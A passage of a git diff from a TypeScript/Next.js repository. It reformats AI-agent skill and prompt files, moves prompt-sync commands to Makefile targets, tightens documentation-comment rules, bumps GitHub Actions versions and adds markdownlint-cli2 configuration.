borne by someone who never opted into the tooling at all. diff --git a/.claude/rules/testing.md b/.claude/rules/testing.md index d715ca6d..7d5bab3e 100644 --- a/.claude/rules/testing.md +++ b/.claude/rules/testing.md @@ -1,11 +1,11 @@ --- paths: - - "**/*.test.ts" - - "**/*.test.tsx" - - "cypress/**/*.ts" - - "jest/**/*.ts" - - "jest.config.js" - - "cypress.config.ts" + - '**/*.test.ts' + - '**/*.test.tsx' + - 'cypress/**/*.ts' + - 'jest/**/*.ts' + - 'jest.config.js' + - 'cypress.config.ts' --- # Testing @@ -20,13 +20,13 @@ This file carries only this repository's instances of the skill's rules. The permitted boundaries are closed. Each is here because the real thing cannot run in jsdom. -| Boundary | What that means here | -| --- | --- | -| A third-party SDK that reaches the network | `firebase/app`, `firebase/analytics`, and `firebase/performance`, mocked in [`firebase.test.ts`](../../src/configs/firebase.test.ts) because the wrapper under test sits directly on them | -| This repository's own wrapper around such an SDK, when testing a consumer of it | [`@configs/firebase`](../../src/configs/firebase.ts) from a component test, so rendering does not fire live analytics | -| Framework context the test renderer cannot supply | `next/navigation` | -| The clock | `jest.useFakeTimers()`, which replaces the environment rather than your code | -| Browser APIs jsdom omits | `navigator` and similar | +| Boundary | What that means here | +| ------------------------------------------------------------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | +| A third-party SDK that reaches the network | `firebase/app`, `firebase/analytics`, and `firebase/performance`, mocked in [`firebase.test.ts`](../../src/configs/firebase.test.ts) because the wrapper under test sits directly on them | +| This repository's own wrapper around such an SDK, when testing a consumer of it | [`@configs/firebase`](../../src/configs/firebase.ts) from a component test, so rendering does not fire live analytics | +| Framework context the test renderer cannot supply | `next/navigation` | +| The clock | `jest.useFakeTimers()`, which replaces the environment rather than your code | +| Browser APIs jsdom omits | `navigator` and similar | Anything outside that table needs a one-line comment above the mock naming which boundary it crosses. diff --git a/.claude/scripts/check-prompt-skill-sync.mjs b/.claude/scripts/check-prompt-skill-sync.mjs index abcf8461..5967b082 100644 --- a/.claude/scripts/check-prompt-skill-sync.mjs +++ b/.claude/scripts/check-prompt-skill-sync.mjs @@ -8,8 +8,7 @@ // `--fix=to-skill` copies each prompt body onto its skill, keeping the // skill's own frontmatter. `--fix=to-prompt` does the reverse. The direction // is never inferred, because guessing it would overwrite the edited side. - -import { readdirSync, readFileSync, writeFileSync, existsSync } from 'fs'; +import { existsSync, readFileSync, readdirSync, writeFileSync } from 'fs'; import { dirname, join, resolve } from 'path'; import { fileURLToPath } from 'url'; @@ -111,8 +110,8 @@ for (const { name, promptPath, skillPath } of found) { if (diverged > 0) { console.error( `\n${diverged} pair(s) out of sync. Edit one side, then run one of:\n` + - ' node .claude/scripts/check-prompt-skill-sync.mjs --fix=to-skill\n' + - ' node .claude/scripts/check-prompt-skill-sync.mjs --fix=to-prompt', + ' make -f .claude/Makefile sync-prompts-to-skill\n' + + ' make -f .claude/Makefile sync-prompts-to-prompt', ); process.exit(1); } diff --git a/.claude/skills/audit-docs/SKILL.md b/.claude/skills/audit-docs/SKILL.md index c49e94fa..a1b27b90 100644 --- a/.claude/skills/audit-docs/SKILL.md +++ b/.claude/skills/audit-docs/SKILL.md @@ -22,7 +22,7 @@ Act as a **Strictly Factual Technical Writer and Auditor**. Make the `docs/` dir ## 1. Execution Flow (Sequential) -Execute all three phases in order, inside a scope resolved by the first rule that applies: an explicit instruction naming paths, an area, or a component; the #activePullRequest for the branch; #changes; the system or component the invoking task concerns; and only then the whole repository. State which rule resolved the scope and audit only what it selected. On a large repository or a monorepo the middle rules are the normal answer, and defaulting to everything burns the run on files nobody asked about. Where a later section says `docs/` or the whole tree, read it as the part the resolved scope selects, and treat anything outside that scope as not a candidate: a symbol in a dependency, in generated output, or behind a build step is not this project's to document, so do not document it and do not report it. +Execute all three phases in order. ### Phase 1: PR sync @@ -39,15 +39,15 @@ Execute all three phases in order, inside a scope resolved by the first rule tha ### Phase 3: in-code documentation audit -**Mandatory.** Execute regardless of Phase 1 and 2 results. Finishing the whole scope is not required; claiming you finished it is worse than reporting that you did not. +**Mandatory.** Execute regardless of Phase 1 and 2 results. - **Scope:** every `.md` file outside `docs/`, plus documentation comments, inline comments, and file-level headers across the target. - **Actions:** scan for documentation and comments; read the current implementation of each documented element; verify it against actual code behaviour; correct or remove anything inaccurate or outdated; document every public symbol that lacks it; remove bloat, keeping "why" explanations, non-obvious "what" descriptions, and essential "how" for complex algorithms. Removing bloat means deleting comments that restate the code, never comments that explain a non-obvious internal. -- **Always document the public surface.** Every public or exported symbol whose implementation you have read carries a documentation comment, as do the members of a public structure: fields, properties, keys, enum values. Write for a reader meeting the symbol for the first time, assuming they can infer nothing from its name. Reach for what the declaration cannot express, such as why it exists, a constraint, an invariant, or a caller obligation. Where no such explanation exists, a plain restatement of what the symbol does is correct: being obvious is not a defect on a public surface, being absent is. **Rule 2 still governs, and it comes first.** Reading the body is the precondition for writing the comment, not a step to infer around: not having got to it is no reason to skip it, and being unable to reach it is no reason to guess. Where you have not read the body, leave the symbol as it is and name it in your output. A public symbol left undocumented and reported is a compliant result; a comment written from the symbol's name is a defect, and it is the defect this rule exists to prevent. +- **Always document the public surface.** Every public or exported symbol carries a documentation comment, as do the members of a public structure: fields, properties, keys, enum values. Write for a reader meeting the symbol for the first time, assuming they can infer nothing from its name. Reach for what the declaration cannot express, such as why it exists, a constraint, an invariant, or a caller obligation. Where no such explanation exists, a plain restatement of what the symbol does is correct: being obvious is not a defect on a public surface, being absent is. **Rule 2 still governs, and it comes first.** Reading the body is the precondition for writing the comment, not a step to infer around: not having got to it is no reason to skip it, and being unable to reach it is no reason to guess. Where you have not read the body, leave the symbol as it is and name it in your output. A public symbol left undocumented and reported is a compliant result; a comment written from the symbol's name is a defect, and it is the defect this rule exists to prevent. - **Do not restate what the language's own syntax declares**, such as a type, a visibility modifier, or an override marker. This governs what you write in a **new** documentation comment and never licenses removing an existing one. - **Correct an existing documentation tag; do not strip or delete it.** A parameter, return, throws, or example entry was written deliberately. Read enough surrounding code to judge it, then fix what is factually wrong and leave what is right, including parts a convention would omit in new code. Removing a tag, or a piece of one, because it looks redundant is restyling someone else's work, not auditing it. Delete a whole tag only when it is wrong and uncorrectable, such as one documenting a parameter the signature no longer has. Phase 2's "default to correcting, not deleting" governs in-code documentation too. - **Internal elements** are documented where the logic is complex or carries a gotcha or edge case. Delete an internal comment only when it restates the line beneath it, such as `// Increment counter` above a counter increment (delete the comment, keep the code). -- **Comments describe the code as it stands.** Never narrate a change, a fix, or a prior state ("now uses", "previously", "no longer", "restored"): version control carries that, and the comment outlives the change that prompted it. Never argue that the code is correct or safe, which documents the edit rather than the code. Delete commented-out code rather than leaving it in place. +- **Comments describe the code as it stands.** Never narrate a change, a fix, or a prior state ("now uses", "previously", "no longer", "restored", "replaces", "used to", "formerly", "for the first time", "unlike the old"), and never name a file, flag, or tool that no longer exists: version control carries that, and the comment outlives the change that prompted it. Never argue that the code is correct or safe, which documents the edit rather than the code. Delete commented-out code rather than leaving it in place. - **Form:** a documentation comment is a complete sentence, capitalized and punctuated; a short trailing comment may be a fragment. Wrap long comment lines to the width the file already uses, letting an unbreakable URL exceed it. Use the documentation format's own list syntax for enumerations, since indented plain text collapses into one run-on sentence when rendered. Never box a comment in asterisks or other decorative characters. Documentation precedes an annotation or decorator and never sits between it and the declaration. - **Contracts worth stating:** any cleanup the caller owns (a handle to close, a listener to remove, a subscription to cancel), the error values or exception types a caller can branch on, and a deprecation marker naming its replacement. A deprecation without migration directions is incomplete; add one only where it is provable under Rule 2. - **File-level headers:** where the language provides one, it states the file's contents, uses, or dependencies. Notes aimed at maintainers rather than consumers go with the implementation instead. @@ -87,9 +87,9 @@ Every statement must be grounded in code you have **opened and read in full duri - **Objective is not flat.** Banning subjective adjectives does not mandate robotic prose. Replace the adjective with the concrete cited fact that earns it: not "the retry logic is robust" but "the retry runs three times with a two-second backoff ([retry.ts](../src/retry.ts) lines 12-19)." (show, do not tell) - **Existing content:** preserve existing subjective terms unless they are factually wrong. -### Rule 4: No placeholders or TODOs +### Rule 4: Current state only -No empty sections, stubs, or "add details here" comments. If the code does not exist, the documentation should not either. +Documentation and comments describe the code as it is now. Never narrate the past ("replaces", "used to", "formerly", "for the first time", "unlike the old") and never name a file, flag, symbol, or tool that no longer exists: version control already carries that history, and a reader cannot check a claim against something that is gone. The only sanctioned place for future intent is a `TODO` in the code that will change, positioned however that codebase positions one; documentation itself carries none, so no empty sections, stubs, or "add details here" placeholders, and if the code does not exist, neither should its documentation. Rationale worth keeping goes in its own decision record, not scattered through the files it explains. ### Rule 5: Mermaid diagram and image accessibility (zero tolerance) @@ -192,6 +192,6 @@ Then confirm: - New or changed prose reads as a careful human wrote it: leads with the point, no signposting or banned AI tells, one canonical term per concept, no ambiguous `it`/`this`/`these`. - Architecture flows include only significant steps (§4); every diagram has `accTitle` and `accDescr`, and every image has real alt text. - No em-dashes (`—`) or en-dashes (`–`) anywhere you wrote; new or changed prose uses Canadian English. -- Every public symbol you touched carries a documentation comment written from its implementation, not from its name, and no comment narrates a change, argues the code is safe, or sits commented out. +- Every public symbol you touched carries a documentation comment written from its implementation, not from its name, and no comment narrates a change, names something that no longer exists, argues the code is safe, or sits commented out. - Rendered output was checked, not only the source: diagrams parse, nested lists and tables render, and documentation comments display the intended text. - Phase 3 ran and its result is reported. diff --git a/.claude/skills/sync-audit-prompts/SKILL.md b/.claude/skills/sync-audit-prompts/SKILL.md index e55867d9..dee0963d 100644 --- a/.claude/skills/sync-audit-prompts/SKILL.md +++ b/.claude/skills/sync-audit-prompts/SKILL.md @@ -1,9 +1,9 @@ --- name: sync-audit-prompts -description: Reconciles the mirrored prompt and skill pairs so their bodies match byte for byte. Use after editing any file under .github/prompts/ or .claude/skills/audit-*/, or when npm run validate reports the pairs out of sync. +description: Reconciles the mirrored prompt and skill pairs so their bodies match byte for byte. Use after editing any file under .github/prompts/ or .claude/skills/audit-*/, or when make -f .claude/Makefile sync-prompts reports the pairs out of sync. argument-hint: '[to-skill | to-prompt; omit to check only]' disable-model-invocation: true -allowed-tools: Bash(node .claude/scripts/check-prompt-skill-sync.mjs*) Read Grep Glob +allowed-tools: Bash(make -f .claude/Makefile sync-prompts*) Read Grep Glob --- # Sync audit prompts @@ -15,7 +15,7 @@ Manual only, because propagating in the wrong direction overwrites the edit you ## Check first ```bash -node .claude/scripts/check-prompt-skill-sync.mjs +make -f .claude/Makefile sync-prompts ``` Exit 0 means every pair matches; report that and stop. diff --git a/.claude/skills/typescript-code-and-test-standards/SKILL.md b/.claude/skills/typescript-code-and-test-standards/SKILL.md index 5ab0b520..9d0a7d9b 100644 --- a/.claude/skills/typescript-code-and-test-standards/SKILL.md +++ b/.claude/skills/typescript-code-and-test-standards/SKILL.md @@ -34,16 +34,16 @@ This skill owns comments, documentation blocks, readability judgement, the test Read the project before writing anything. Never assume a convention this skill happens to prefer. -| Signal | Read it from | It decides | -| --- | --- | --- | -| Formatting | `.prettierrc*`, `prettier.config.*`, a `prettier` key in `package.json`, `biome.json`, `dprint.json` | Tabs or spaces, width, quotes, semicolons, trailing commas, import order | -| Lint rules | `eslint.config.*`, `.eslintrc*`, `biome.json` | Which style rules are enforced and which are off | -| Type strictness | `tsconfig.json`, `jsconfig.json` | `strict`, `isolatedModules`, `paths` aliases, whether JavaScript is type-checked | -| Import style | `compilerOptions.paths`, and what neighbouring files actually import | Aliases against relative paths | -| Commands | `package.json` scripts, `Makefile`, `justfile`, `pyproject.toml` | How to format, lint, type check, test | -| Test runner | `jest.config.*`, `vitest.config.*`, `cypress.config.*`, `playwright.config.*`, a `jest` key in `package.json` | Test file naming, location, environment, path mapping | -| Editor defaults | `.editorconfig` | Indentation and line endings for files no formatter covers | -| Project rules | `AGENTS.md`, `CLAUDE.md`, `.github/copilot-instructions.md`, `.claude/rules/*.md`, `.cursor/rules/*` | Everything, see the precedence below | +| Signal | Read it from | It decides | +| --------------- | ------------------------------------------------------------------------------------------------------------- | -------------------------------------------------------------------------------- | +| Formatting | `.prettierrc*`, `prettier.config.*`, a `prettier` key in `package.json`, `biome.json`, `dprint.json` | Tabs or spaces, width, quotes, semicolons, trailing commas, import order | +| Lint rules | `eslint.config.*`, `.eslintrc*`, `biome.json` | Which style rules are enforced and which are off | +| Type strictness | `tsconfig.json`, `jsconfig.json` | `strict`, `isolatedModules`, `paths` aliases, whether JavaScript is type-checked | +| Import style | `compilerOptions.paths`, and what neighbouring files actually import | Aliases against relative paths | +| Commands | `package.json` scripts, `Makefile`, `justfile`, `pyproject.toml` | How to format, lint, type check, test | +| Test runner | `jest.config.*`, `vitest.config.*`, `cypress.config.*`, `playwright.config.*`, a `jest` key in `package.json` | Test file naming, location, environment, path mapping | +| Editor defaults | `.editorconfig` | Indentation and line endings for files no formatter covers | +| Project rules | `AGENTS.md`, `CLAUDE.md`, `.github/copilot-instructions.md`, `.claude/rules/*.md`, `.cursor/rules/*` | Everything, see the precedence below | Full detail, including how to read a flat against a legacy lint config, is in [project-detection.md](references/project-detection.md). diff --git a/.claude/skills/typescript-code-and-test-standards/assets/copilot-instructions.template.md b/.claude/skills/typescript-code-and-test-standards/assets/copilot-instructions.template.md index 9b39fbc1..1728b243 100644 --- a/.claude/skills/typescript-code-and-test-standards/assets/copilot-instructions.template.md +++ b/.claude/skills/typescript-code-and-test-standards/assets/copilot-instructions.template.md @@ -1,5 +1,5 @@ --- -applyTo: "**/*.ts,**/*.tsx,**/*.js,**/*.jsx" +applyTo: '**/*.ts,**/*.tsx,**/*.js,**/*.jsx' --- # TypeScript code and test standards diff --git a/.claude/skills/typescript-code-and-test-standards/assets/project-rules.template.md b/.claude/skills/typescript-code-and-test-standards/assets/project-rules.template.md index ff1e600d..20190ad0 100644 --- a/.claude/skills/typescript-code-and-test-standards/assets/project-rules.template.md +++ b/.claude/skills/typescript-code-and-test-standards/assets/project-rules.template.md @@ -1,9 +1,9 @@ --- paths: - - "**/*.ts" - - "**/*.tsx" - - "**/*.js" - - "**/*.jsx" + - '**/*.ts' + - '**/*.tsx' + - '**/*.js' + - '**/*.jsx' --- # Code and test conventions diff --git a/.claude/skills/typescript-code-and-test-standards/references/mocking-policy.md b/.claude/skills/typescript-code-and-test-standards/references/mocking-policy.md index 7d7c34cd..8e4352a5 100644 --- a/.claude/skills/typescript-code-and-test-standards/references/mocking-policy.md +++ b/.claude/skills/typescript-code-and-test-standards/references/mocking-policy.md @@ -49,14 +49,14 @@ Ask one question about the module you are about to mock: **if this module's body Each is here because the real thing cannot run in a test environment, not because mocking it is convenient. -| Boundary | Why it qualifies | -| --- | --- | -| A third-party SDK that reaches the network | The call leaves the process. Running it makes the test slow, non-deterministic, and dependent on someone else's uptime. | -| The project's own thin wrapper around such an SDK, when testing a consumer of it | Its whole job is to reach the outside world, so it carries no logic of its own to lose. | -| Framework context the test renderer cannot supply | Routing, navigation, and request context that only exist inside the framework's own runtime. | -| The clock | Fake timers replace the environment rather than your code, which is why they are not the same kind of substitution. | -| Platform APIs the test environment omits | Browser or runtime APIs the test environment does not implement. | -| A module with an unavoidable side effect at import time | Analytics initialization, telemetry registration, or a network call that fires on load. | +| Boundary | Why it qualifies | +| -------------------------------------------------------------------------------- | ----------------------------------------------------------------------------------------------------------------------- | +| A third-party SDK that reaches the network | The call leaves the process. Running it makes the test slow, non-deterministic, and dependent on someone else's uptime. | +| The project's own thin wrapper around such an SDK, when testing a consumer of it | Its whole job is to reach the outside world, so it carries no logic of its own to lose. | +| Framework context the test renderer cannot supply | Routing, navigation, and request context that only exist inside the framework's own runtime. | +| The clock | Fake timers replace the environment rather than your code, which is why they are not the same kind of substitution. | +| Platform APIs the test environment omits | Browser or runtime APIs the test environment does not implement. | +| A module with an unavoidable side effect at import time | Analytics initialization, telemetry registration, or a network call that fires on load. | **The wrapper exception is narrow.** A wrapper qualifies only because it does nothing but reach outside. The moment it validates, transforms, retries, caches, or branches, it holds logic and rung one applies again. diff --git a/.claude/skills/typescript-code-and-test-standards/references/project-detection.md b/.claude/skills/typescript-code-and-test-standards/references/project-detection.md index 823ebda2..d8b31bef 100644 --- a/.claude/skills/typescript-code-and-test-standards/references/project-detection.md +++ b/.claude/skills/typescript-code-and-test-standards/references/project-detection.md @@ -102,10 +102,10 @@ These are the project speaking directly, so they outrank every inference and eve Worked cases: -- *The formatter says spaces, `.editorconfig` says tabs, for a `.ts` file.* The formatter wins; the `.editorconfig` entry is dead for that glob. -- *The linter has `curly` off, and this skill wants braces.* The linter wins. Do not flag an unbraced block. -- *A rules file mandates relative imports, and `tsconfig.json` declares aliases.* The rules file wins. Aliases existing is not an instruction to use them. -- *Nothing declares a quote style and no formatter is installed.* Match the neighbouring files, and change nothing that already exists. +- _The formatter says spaces, `.editorconfig` says tabs, for a `.ts` file._ The formatter wins; the `.editorconfig` entry is dead for that glob. +- _The linter has `curly` off, and this skill wants braces._ The linter wins. Do not flag an unbraced block. +- _A rules file mandates relative imports, and `tsconfig.json` declares aliases._ The rules file wins. Aliases existing is not an instruction to use them. +- _Nothing declares a quote style and no formatter is installed._ Match the neighbouring files, and change nothing that already exists. ## When nothing answers the question diff --git a/.github/ISSUE_TEMPLATE/bug_report.md b/.github/ISSUE_TEMPLATE/bug_report.md index 7d05824a..9ce5460d 100644 --- a/.github/ISSUE_TEMPLATE/bug_report.md +++ b/.github/ISSUE_TEMPLATE/bug_report.md @@ -3,6 +3,8 @@ name: Bug report about: Create a report to help us improve --- +# Bug report + **Describe the bug** A clear and concise description of what the bug is. diff --git a/.github/ISSUE_TEMPLATE/feature_request.md b/.github/ISSUE_TEMPLATE/feature_request.md index cd716feb..596b954a 100644 --- a/.github/ISSUE_TEMPLATE/feature_request.md +++ b/.github/ISSUE_TEMPLATE/feature_request.md @@ -3,6 +3,8 @@ name: Feature request about: Suggest an idea for this project --- +# Feature request + **Is your feature request related to a problem? Please describe.** A clear and concise description of what the problem is. Ex. I'm always frustrated when [...] diff --git a/.github/ISSUE_TEMPLATE/security_report.md b/.github/ISSUE_TEMPLATE/security_report.md index 26ba4e8e..6fae9191 100644 --- a/.github/ISSUE_TEMPLATE/security_report.md +++ b/.github/ISSUE_TEMPLATE/security_report.md @@ -3,6 +3,8 @@ name: Security vulnerability report about: Create a report to help us improve our security --- +# Security vulnerability report + **Describe the issue** A clear and concise description of what the security vulnerability/issue is. diff --git a/.github/copilot-instructions.md b/.github/copilot-instructions.md index 2043d140..569c1942 100644 --- a/.github/copilot-instructions.md +++ b/.github/copilot-instructions.md @@ -26,6 +26,10 @@ npm run build # Production build **Always run `npm run validate` before committing**, and frequently while making changes. This is the quality gate CI runs. +**Never make the repository depend on AI agent files.** If `.claude/` and `.github/prompts/` were deleted, everything must still build, test, and lint. No `package.json` script, config, workflow, or page under `docs/` may reference or invoke anything in them. The dependency runs one way: agent tooling may name a project command, never the reverse. The only exception is an ignore or exclude glob, which is inert when the path is absent. Agent tooling that needs running gets a target in `.claude/Makefile`, which is deleted along with the tooling it drives. + +**Documentation and comments describe the current state, in every file type.** A comment, document, or config header states what the code does now. Never narrate the past ("replaces", "used to", "formerly", "for the first time", "unlike the old") and never name a file, flag, or tool that no longer exists: git carries that history, and a reader cannot check a claim against something that is gone. The future belongs nowhere but a `TODO`. Rationale worth keeping goes in a decision record of its own under `docs/`, created when the first one is needed, rather than scattered through the files it explains. + ### Testing Requirements - **One test file per source file**, colocated and same-named: `Banner.tsx` gives `Banner.test.tsx` (see `src/components/banner/Banner.test.tsx`). No orphan tests, no test file named after a function, no second test file for one source. @@ -157,7 +161,7 @@ Not adopted: `snake_case` filenames (kebab-case directories with PascalCase comp ### Comments & JSDoc -- **Comments describe the code as it stands.** Never narrate a change, fix, or prior state ("now uses", "previously", "no longer", "restored"); git history carries that. Never argue that the code is correct or safe, which documents the edit rather than the code. Delete commented-out code. A comment contradicting the code is corrected, not deleted +- **Comments describe the code as it stands.** Never narrate a change, fix, or prior state ("now uses", "previously", "no longer", "restored", "replaces", "used to", "formerly", "for the first time"), and never name a file, flag, or tool that no longer exists; git history carries that. Never argue that the code is correct or safe, which documents the edit rather than the code. Delete commented-out code. A comment contradicting the code is corrected, not deleted - **Every exported symbol carries a `/** */` block, without exception**, as do the members of an exported structure (interface properties, object keys, enum values). Write for a reader meeting it for the first time; where nothing beyond a restatement is true, restate. Being obvious is not a defect on a public surface, being absent is - A private helper gets a block when its name and signature do not carry it; a binding inside a function body does not, and a comment there that restates the next line is noise - **In a block you write, do not put types in JSDoc.** TypeScript ignores `@param {string}`, `@returns {number}`, `@type`, and `@typedef` in `.ts`/`.tsx`, so they drift from the signature. Skip `@implements`, `@enum`, `@private`, and `@override` beside the keyword, and add `@param`/`@returns` where they say more than the name and type do diff --git a/.github/prompts/.markdownlint-cli2.jsonc b/.github/prompts/.markdownlint-cli2.jsonc new file mode 100644 index 00000000..4473d0e3 --- /dev/null +++ b/.github/prompts/.markdownlint-cli2.jsonc @@ -0,0 +1,11 @@ +// Agent-tooling carve-out. Merges with the root `.markdownlint-cli2.jsonc` rather than +// replacing it, so every other rule still applies here. +// +// MD041 wants a top-level heading first. These prompts open with frontmatter and then a +// role statement, and they are size-constrained, so the rule does not apply to them. It +// stays on everywhere else in the repository. +{ + "config": { + "MD041": false, + }, +} diff --git a/.github/prompts/audit-docs.prompt.md b/.github/prompts/audit-docs.prompt.md index 013e8461..a10766a8 100644 --- a/.github/prompts/audit-docs.prompt.md +++ b/.github/prompts/audit-docs.prompt.md @@ -48,7 +48,7 @@ Execute all three phases in order. - **Do not restate what the language's own syntax declares**, such as a type, a visibility modifier, or an override marker. This governs what you write in a **new** documentation comment and never licenses removing an existing one. - **Correct an existing documentation tag; do not strip or delete it.** A parameter, return, throws, or example entry was written deliberately. Read enough surrounding code to judge it, then fix what is factually wrong and leave what is right, including parts a convention would omit in new code. Removing a tag, or a piece of one, because it looks redundant is restyling someone else's work, not auditing it. Delete a whole tag only when it is wrong and uncorrectable, such as one documenting a parameter the signature no longer has. Phase 2's "default to correcting, not deleting" governs in-code documentation too. - **Internal elements** are documented where the logic is complex or carries a gotcha or edge case. Delete an internal comment only when it restates the line beneath it, such as `// Increment counter` above a counter increment (delete the comment, keep the code). -- **Comments describe the code as it stands.** Never narrate a change, a fix, or a prior state ("now uses", "previously", "no longer", "restored"): version control carries that, and the comment outlives the change that prompted it. Never argue that the code is correct or safe, which documents the edit rather than the code. Delete commented-out code rather than leaving it in place. +- **Comments describe the code as it stands.** Never narrate a change, a fix, or a prior state ("now uses", "previously", "no longer", "restored", "replaces", "used to", "formerly", "for the first time", "unlike the old"), and never name a file, flag, or tool that no longer exists: version control carries that, and the comment outlives the change that prompted it. Never argue that the code is correct or safe, which documents the edit rather than the code. Delete commented-out code rather than leaving it in place. - **Form:** a documentation comment is a complete sentence, capitalized and punctuated; a short trailing comment may be a fragment. Wrap long comment lines to the width the file already uses, letting an unbreakable URL exceed it. Use the documentation format's own list syntax for enumerations, since indented plain text collapses into one run-on sentence when rendered. Never box a comment in asterisks or other decorative characters. Documentation precedes an annotation or decorator and never sits between it and the declaration. - **Contracts worth stating:** any cleanup the caller owns (a handle to close, a listener to remove, a subscription to cancel), the error values or exception types a caller can branch on, and a deprecation marker naming its replacement. A deprecation without migration directions is incomplete; add one only where it is provable under Rule 2. - **File-level headers:** where the language provides one, it states the file's contents, uses, or dependencies. Notes aimed at maintainers rather than consumers go with the implementation instead. @@ -88,9 +88,9 @@ Every statement must be grounded in code you have **opened and read in full duri - **Objective is not flat.** Banning subjective adjectives does not mandate robotic prose. Replace the adjective with the concrete cited fact that earns it: not "the retry logic is robust" but "the retry runs three times with a two-second backoff ([retry.ts](../src/retry.ts) lines 12-19)." (show, do not tell) - **Existing content:** preserve existing subjective terms unless they are factually wrong. -### Rule 4: No placeholders or TODOs +### Rule 4: Current state only -No empty sections, stubs, or "add details here" comments. If the code does not exist, the documentation should not either. +Documentation and comments describe the code as it is now. Never narrate the past ("replaces", "used to", "formerly", "for the first time", "unlike the old") and never name a file, flag, symbol, or tool that no longer exists: version control already carries that history, and a reader cannot check a claim against something that is gone. The only sanctioned place for future intent is a `TODO` in the code that will change, positioned however that codebase positions one; documentation itself carries none, so no empty sections, stubs, or "add details here" placeholders, and if the code does not exist, neither should its documentation. Rationale worth keeping goes in its own decision record, not scattered through the files it explains. ### Rule 5: Mermaid diagram and image accessibility (zero tolerance) @@ -193,6 +193,6 @@ Then confirm: - New or changed prose reads as a careful human wrote it: leads with the point, no signposting or banned AI tells, one canonical term per concept, no ambiguous `it`/`this`/`these`. - Architecture flows include only significant steps (§4); every diagram has `accTitle` and `accDescr`, and every image has real alt text. - No em-dashes (`—`) or en-dashes (`–`) anywhere you wrote; new or changed prose uses Canadian English. -- Every public symbol you touched carries a documentation comment written from its implementation, not from its name, and no comment narrates a change, argues the code is safe, or sits commented out. +- Every public symbol you touched carries a documentation comment written from its implementation, not from its name, and no comment narrates a change, names something that no longer exists, argues the code is safe, or sits commented out. - Rendered output was checked, not only the source: diagrams parse, nested lists and tables render, and documentation comments display the intended text. - Phase 3 ran and its result is reported. diff --git a/.github/prompts/readme.md b/.github/prompts/readme.md index d077788f..a795570e 100644 --- a/.github/prompts/readme.md +++ b/.github/prompts/readme.md @@ -42,12 +42,12 @@ None of them audits your whole repository by default, which matters on a large c Only relevant if you keep both halves. Edit one, then propagate: ```bash -node .claude/scripts/check-prompt-skill-sync.mjs --fix=to-skill # you edited the prompt -node .claude/scripts/check-prompt-skill-sync.mjs --fix=to-prompt # you edited the skill -node .claude/scripts/check-prompt-skill-sync.mjs # confirm, exits 0 when in sync +make -f .claude/Makefile sync-prompts-to-skill # you edited the prompt +make -f .claude/Makefile sync-prompts-to-prompt # you edited the skill +make -f .claude/Makefile sync-prompts # confirm, exits 0 when in sync ``` -The direction is never inferred, because guessing it would overwrite the side you just edited. In this repository the check runs as part of `npm run validate`. +The direction is never inferred, because guessing it would overwrite the side you just edited. In this repository the check is run on demand rather than as part of the build, so that the project still builds and lints with no agent tooling present. ## Whether a run applies changes diff --git a/.github/workflows/code-qa.yaml b/.github/workflows/code-qa.yaml index 9d65da26..ce130595 100644 --- a/.github/workflows/code-qa.yaml +++ b/.github/workflows/code-qa.yaml @@ -38,18 +38,18 @@ jobs: strategy: matrix: - node-version: [22.x] + node-version: [24.x] # See supported Node.js release schedule at https://nodejs.org/en/about/releases/ steps: - name: Checkout repository - uses: actions/checkout@v5 + uses: actions/checkout@v7 - name: Use Node.js ${{ matrix.node-version }} - uses: actions/setup-node@v5 + uses: actions/setup-node@v7 with: node-version: ${{ matrix.node-version }} - name: Cache Node.js modules - uses: actions/cache@v4 + uses: actions/cache@v6 with: path: ~/.npm key: ${{ runner.os }}-node-${{ hashFiles('**/package-lock.json') }} diff --git a/.github/workflows/codeql-analysis.yaml b/.github/workflows/codeql-analysis.yaml index dfb983c7..71fb9f69 100644 --- a/.github/workflows/codeql-analysis.yaml +++ b/.github/workflows/codeql-analysis.yaml @@ -46,11 +46,11 @@ jobs: steps: - name: Checkout repository - uses: actions/checkout@v5 + uses: actions/checkout@v7 # Initializes the CodeQL tools for scanning. - name: Initialize CodeQL - uses: github/codeql-action/init@v3 + uses: github/codeql-action/init@v4 with: languages: ${{ matrix.language }} # If you wish to specify custom queries, you can do so here or in a config file. @@ -67,7 +67,7 @@ jobs: # Autobuild attempts to build any compiled languages (C/C++, C#, Go, Java, or Swift). # If this step fails, then you should remove it and run the build manually (see below) - name: Autobuild - uses: github/codeql-action/autobuild@v3 + uses: github/codeql-action/autobuild@v4 # ℹ️ Command-line programs to run using the OS shell. # 📚 See https://docs.github.com/en/actions/using-workflows/workflow-syntax-for-github-actions#jobsjob_idstepsrun @@ -80,6 +80,6 @@ jobs: # ./location_of_script_within_repo/buildscript.sh - name: Perform CodeQL Analysis - uses: github/codeql-action/analyze@v3 + uses: github/codeql-action/analyze@v4 with: category: '/language:${{matrix.language}}' diff --git a/.github/workflows/markdown-lint.yaml b/.github/workflows/markdown-lint.yaml index 342717c3..cabc2bbb 100644 --- a/.github/workflows/markdown-lint.yaml +++ b/.github/workflows/markdown-lint.yaml @@ -5,15 +5,17 @@ on: branches: [main] paths: - '**/*.md' - - '.markdownlint.json' - - '.markdownlintignore' + - '**/*.MD' + - '.markdownlint-cli2.jsonc' + - '**/.markdownlint-cli2.jsonc' - '.github/workflows/markdown-lint.yaml' pull_request: branches: [main] paths: - '**/*.md' - - '.markdownlint.json' - - '.markdownlintignore' + - '**/*.MD' + - '.markdownlint-cli2.jsonc' + - '**/.markdownlint-cli2.jsonc' - '.github/workflows/markdown-lint.yaml' permissions: @@ -22,15 +24,19 @@ jobs: lint-markdown: runs-on: ubuntu-latest + strategy: + matrix: + node-version: [24.x] + steps: - name: Checkout repository - uses: actions/checkout@v5 + uses: actions/checkout@v7 - name: Use Node.js ${{ matrix.node-version }} - uses: actions/setup-node@v5 + uses: actions/setup-node@v7 with: node-version: ${{ matrix.node-version }} - name: Cache Node.js modules - uses: actions/cache@v4 + uses: actions/cache@v6 with: path: ~/.npm key: ${{ runner.os }}-node-${{ hashFiles('**/package-lock.json') }} @@ -39,4 +45,4 @@ jobs: - name: Run installs run: npm ci - name: Run markdownlint on Markdown files - run: npm run lint:markdown + run: npm run lint:markdown:check diff --git a/.markdownlint-cli2.jsonc b/.markdownlint-cli2.jsonc new file mode 100644 index 00000000..8542bc2f --- /dev/null +++ b/.markdownlint-cli2.jsonc @@ -0,0 +1,25 @@ +// markdownlint-cli2 configuration for the whole repository, including dot-directories. +// +// A directory that needs a rule turned off carries its own nested `.markdownlint-cli2.jsonc`, +// which merges with this one rather than replacing it. The carve-out therefore sits beside the +// directory it exempts, and disappears along with it. +{ + // Reuse 